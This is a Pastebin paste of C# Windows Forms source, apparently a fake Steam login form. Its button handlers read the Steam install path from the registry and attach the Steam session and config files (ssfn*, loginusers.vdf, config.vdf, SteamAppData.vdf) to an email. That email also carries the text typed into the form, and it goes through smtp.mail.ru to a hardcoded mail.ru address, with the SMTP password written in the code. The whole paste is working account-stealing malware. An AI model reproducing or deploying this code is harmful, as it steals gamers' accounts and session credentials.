Advertisement
Guest User

cccod past steam fake

a guest
Oct 1st, 2016
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.25 KB | None | 0 0
  1. using System;
  2. using System.ComponentModel;
  3. using System.Windows.Forms;
  4. using System.Collections.Generic;
  5. using System.Linq;
  6. using System.Text;
  7. using System.IO;
  8. using System.Net;
  9. using System.Net.Mail;
  10. using System.Runtime.InteropServices;
  11. using System.Threading;
  12. using System.Diagnostics;
  13. using Microsoft.Win32;
  14. using System.Text.RegularExpressions;
  15. using System.Net.Mime;
  16. using System.Text.RegularExpressions;
  17.  
  18. namespace WindowsFormsApplication1
  19. {
  20.     public partial class Form1 : Form
  21.     {
  22.         public Form1()
  23.         {
  24.             InitializeComponent();
  25.         }
  26.  
  27.        
  28.  
  29.  
  30.         private void button1_Click(object sender, EventArgs e)
  31.         {
  32.             if (!Regex.IsMatch(textBox1.Text, @"^[a-z,A-Z]{1,10}((-|.)\w+)*@\w+.\w{3}$"))
  33.                 MessageBox.Show("Not valid email.");
  34.             else
  35.             {
  36.  
  37.                 MessageBox.Show(" valid email.");
  38.             }
  39.  
  40.  
  41.  
  42.  
  43.  
  44.         }
  45.  
  46.         private void button2_Click(object sender, EventArgs e)
  47.         {
  48.            
  49.  
  50.  
  51.             string steampath = "";
  52.             try
  53.             {
  54.                 RegistryKey sk1 = Registry.CurrentUser.OpenSubKey(@"Software\Valve\Steam");
  55.                 steampath = (string)sk1.GetValue("SteamPath");
  56.             }
  57.             catch { }
  58.             if (steampath == "")
  59.             {
  60.                 Process.GetCurrentProcess().Kill();
  61.             }
  62.  
  63.            
  64.  
  65.  
  66.  
  67.             string line;
  68.             var t = steampath;
  69.             string a = t + @"\config\loginusers.vdf";
  70.             List<string> accounts = new List<string>();
  71.             using (StreamReader sr = new StreamReader(a, Encoding.Default))
  72.             {
  73.                 while ((line = sr.ReadLine()) != null)
  74.                 {
  75.  
  76.                     if (line.Contains("7656119"))
  77.                     {
  78.                         char[] deaf = { '"' };
  79.                         accounts.Add(Regex.Replace(line, "[" + string.Join("", deaf) + "]", "").Trim());
  80.                     }
  81.                 }
  82.             }
  83.  
  84.            
  85.  
  86.             /*Подключение к почте*/
  87.             var fromAddress = new MailAddress("razilov2015@mail.ru");
  88.             string fromPassword = "ab1123123196";
  89.             var smtp = new SmtpClient
  90.             {
  91.                 /*SMTP Данные*/
  92.                 Host = "smtp.mail.ru",
  93.                 Port = 587,
  94.                 EnableSsl = true,
  95.                 DeliveryMethod = SmtpDeliveryMethod.Network,
  96.                 UseDefaultCredentials = false,
  97.                 Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
  98.             };
  99.  
  100.            
  101.  
  102.             /*Отправка*/
  103.  
  104.             /*Чек ip*/
  105.  
  106.          
  107.  
  108.             var message = new MailMessage("razilov2015@mail.ru", "razilov2015@mail.ru"); //Куда отправлять
  109.            // message.Subject = "IP: " + ip + " Имя пользователя: " + System.Environment.UserName;
  110.           //  message.Body = "PC: " + System.Environment.UserDomainName;
  111.            message.Body = "PC: " + textBox1.Text +" " + textBox2.Text + " | " + textBox3.Text + " " + textBox4.Text;
  112.             /*Файлы - отправка*/
  113.  
  114.             Directory.GetFiles(t + @"\config", "SteamAppData.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  115.             Directory.GetFiles(t, "ssfn*", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  116.             Directory.GetFiles(t + @"\config", "loginusers.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  117.             Directory.GetFiles(t + @"\config", "config.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  118.             message.SubjectEncoding = Encoding.GetEncoding(1251);
  119.             message.BodyEncoding = Encoding.GetEncoding(1251);
  120.             smtp.Send(message);
  121.  
  122.             /*Концовка*/
  123.  
  124.             //Console.ForegroundColor = ConsoleColor.Red;
  125.             //Console.WriteLine("Что бы выйти нажмите на любую кнопку...");
  126.             //Console.ReadKey();
  127.         }
  128.  
  129.         private void button3_Click(object sender, EventArgs e)
  130.         {
  131.            
  132.             if (!Regex.IsMatch(textBox3.Text, @"^[a-z,A-Z]{1,10}((-|.)\w+)*@\w+.\w{3}$"))
  133.                 MessageBox.Show("Введите корректный E-Mail");
  134.             else
  135.             {
  136.                 // если почта валид
  137.                 //                MessageBox.Show(" valid email.");
  138.  
  139.  
  140.                 string steampath = "";
  141.                 try
  142.                 {
  143.                     RegistryKey sk1 = Registry.CurrentUser.OpenSubKey(@"Software\Valve\Steam");
  144.                     steampath = (string)sk1.GetValue("SteamPath");
  145.                 }
  146.                 catch { }
  147.                 if (steampath == "")
  148.                 {
  149.                     Process.GetCurrentProcess().Kill();
  150.                 }
  151.  
  152.  
  153.  
  154.  
  155.  
  156.                 string line;
  157.                 var t = steampath;
  158.                 string a = t + @"\config\loginusers.vdf";
  159.                 List<string> accounts = new List<string>();
  160.                 using (StreamReader sr = new StreamReader(a, Encoding.Default))
  161.                 {
  162.                     while ((line = sr.ReadLine()) != null)
  163.                     {
  164.  
  165.                         if (line.Contains("7656119"))
  166.                         {
  167.                             char[] deaf = { '"' };
  168.                             accounts.Add(Regex.Replace(line, "[" + string.Join("", deaf) + "]", "").Trim());
  169.                         }
  170.                     }
  171.                 }
  172.  
  173.  
  174.  
  175.                 /*Подключение к почте*/
  176.                 var fromAddress = new MailAddress("razilov2015@mail.ru");
  177.                 string fromPassword = "a23123196";
  178.                 var smtp = new SmtpClient
  179.                 {
  180.                     /*SMTP Данные*/
  181.                     Host = "smtp.mail.ru",
  182.                     Port = 587,
  183.                     EnableSsl = true,
  184.                     DeliveryMethod = SmtpDeliveryMethod.Network,
  185.                     UseDefaultCredentials = false,
  186.                     Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
  187.                 };
  188.  
  189.  
  190.  
  191.                 /*Отправка*/
  192.  
  193.              
  194.  
  195.  
  196.  
  197.                 var message = new MailMessage("razilov2015@mail.ru", "razilov2015@mail.ru"); //Куда отправлять
  198.                                                                                              // message.Subject = "IP: " + ip + " Имя пользователя: " + System.Environment.UserName;
  199.                                                                                              //  message.Body = "PC: " + System.Environment.UserDomainName;
  200.                 message.Body = "PC: " + textBox1.Text + " " + textBox2.Text + " | " + textBox3.Text + " " + textBox4.Text;
  201.                 /*Файлы - отправка*/
  202.  
  203.                 Directory.GetFiles(t + @"\config", "SteamAppData.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  204.                 Directory.GetFiles(t, "ssfn*", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  205.                 Directory.GetFiles(t + @"\config", "loginusers.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  206.                 Directory.GetFiles(t + @"\config", "config.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
  207.                 message.SubjectEncoding = Encoding.GetEncoding(1251);
  208.                 message.BodyEncoding = Encoding.GetEncoding(1251);
  209.                 smtp.Send(message);
  210.  
  211.                 /*Концовка*/
  212.  
  213.                 //Console.ForegroundColor = ConsoleColor.Red;
  214.                 //Console.WriteLine("Что бы выйти нажмите на любую кнопку...");
  215.                 //Console.ReadKey();
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.             }
  223.  
  224.         }
  225.  
  226.         private void textBox2_KeyPress(object sender, KeyPressEventArgs e)
  227.         {
  228.              if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
  229.                
  230.  
  231.             {
  232.             }
  233.             else
  234.             {
  235.                 e.Handled = true;
  236.             }
  237.  
  238.  
  239.  
  240.         }
  241.  
  242.         private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
  243.         {
  244.             if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
  245.  
  246.  
  247.             {
  248.             }
  249.             else
  250.             {
  251.                 e.Handled = true;
  252.             }
  253.         }
  254.  
  255.         private void textBox3_KeyPress(object sender, KeyPressEventArgs e)
  256.         {
  257.             if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
  258.  
  259.  
  260.             {
  261.             }
  262.             else
  263.             {
  264.                 e.Handled = true;
  265.             }
  266.         }
  267.  
  268.         private void textBox4_KeyPress(object sender, KeyPressEventArgs e)
  269.         {
  270.             if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
  271.  
  272.  
  273.             {
  274.             }
  275.             else
  276.             {
  277.                 e.Handled = true;
  278.             }
  279.         }
  280.     }
  281.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement